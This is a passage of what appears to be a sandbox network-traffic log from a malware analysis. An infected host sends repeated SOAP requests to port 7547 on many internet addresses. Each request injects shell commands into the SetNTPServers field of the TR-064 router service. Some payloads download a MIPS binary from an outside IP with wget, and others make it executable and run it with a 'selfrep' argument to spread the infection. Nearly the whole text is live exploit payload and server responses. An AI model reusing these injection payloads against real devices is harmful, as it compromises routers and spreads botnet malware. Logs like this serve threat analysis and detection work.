Apr 15, 2024 08:52:14.304481983 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:16.292481899 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:20.324465990 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.256462097 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:44.128463984 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:15.616426945 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	48158	187.101.231.247	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.653570890 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:12.990504980 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="NmRiN2UzYzA6NzIzNGQyNDA6ZjE3M2Q0MDA=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	46914	95.78.49.138	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.682878017 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:13.027337074 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:12 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	59766	66.135.132.131	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.874284983 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	55842	50.103.64.100	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.887228012 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:13.628680944 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	40212	119.198.228.14	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.937414885 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	34822	175.235.238.192	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.942526102 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	43160	187.34.132.104	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.975641966 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:14.656478882 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:16.640525103 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:20.576472044 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:28.512468100 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:44.385564089 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:17.664423943 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	48190	187.101.231.247	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.979652882 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:13.994482994 CEST	240	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="IgdAuthentication", domain="/", nonce="M2Y2MjBlMTU6ZTE0MzUyMDA6ZTdjZWNiYjE=", qop="auth", algorithm=MD5, opaque="5ccc09c403ebaf9f0171e9517f40e41"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	46946	95.78.49.138	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.021893024 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:13.361150980 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 09:52:12 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	55256	176.41.141.26	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.030689955 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	59780	66.135.132.131	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.097532034 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	55860	50.103.64.100	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.126230955 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	40228	119.198.228.14	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.219748020 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	34838	175.235.238.192	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.229640007 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	55268	176.41.141.26	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.374902964 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	38676	34.149.92.77	52869

Timestamp	Bytes transferred	Direction	Data
